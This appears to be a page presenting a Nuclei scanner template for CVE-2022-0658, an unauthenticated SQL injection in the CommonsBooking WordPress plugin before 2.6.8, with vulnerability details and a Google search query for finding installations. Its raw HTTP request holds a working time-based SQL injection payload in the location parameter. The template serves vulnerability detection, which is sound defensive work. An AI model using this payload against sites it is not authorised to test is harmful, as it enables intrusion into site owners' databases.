CommonsBooking < 2.6.8 - SQL Injection

ID: CVE-2022-0658

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir

Description

The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.

YAML Source

id: CVE-2022-0658

info:
  name: CommonsBooking < 2.6.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.
  remediation: Fixed in version 2.6.8
  reference:
    - https://wpscan.com/vulnerability/d7f0805a-61ce-454a-96fb-5ecacd767578
    - https://wordpress.org/plugins/commonsbooking/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0658
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0658
    cwe-id: CWE-89
    epss-score: 0.04032
    epss-percentile: 0.92073
    cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wielebenwir
    product: commonsbooking
    framework: wordpress
    google-query: inurl:/wp-content/plugin/commonsbooking/
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains(body, "partiallyBookedDays") && contains(body, "lockDays")'
        condition: and
# digest: 4a0a004730450220099a4a9742d6c40f1dd21871a1424eb5d7ec3bb5cb8a5509a58a1db14ddb9eb8022100ae2a8c89eafbcfe93099f9471f0275b39c4326cd95ce7f39168dc11a1a4b556e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0658.yaml"

View on Github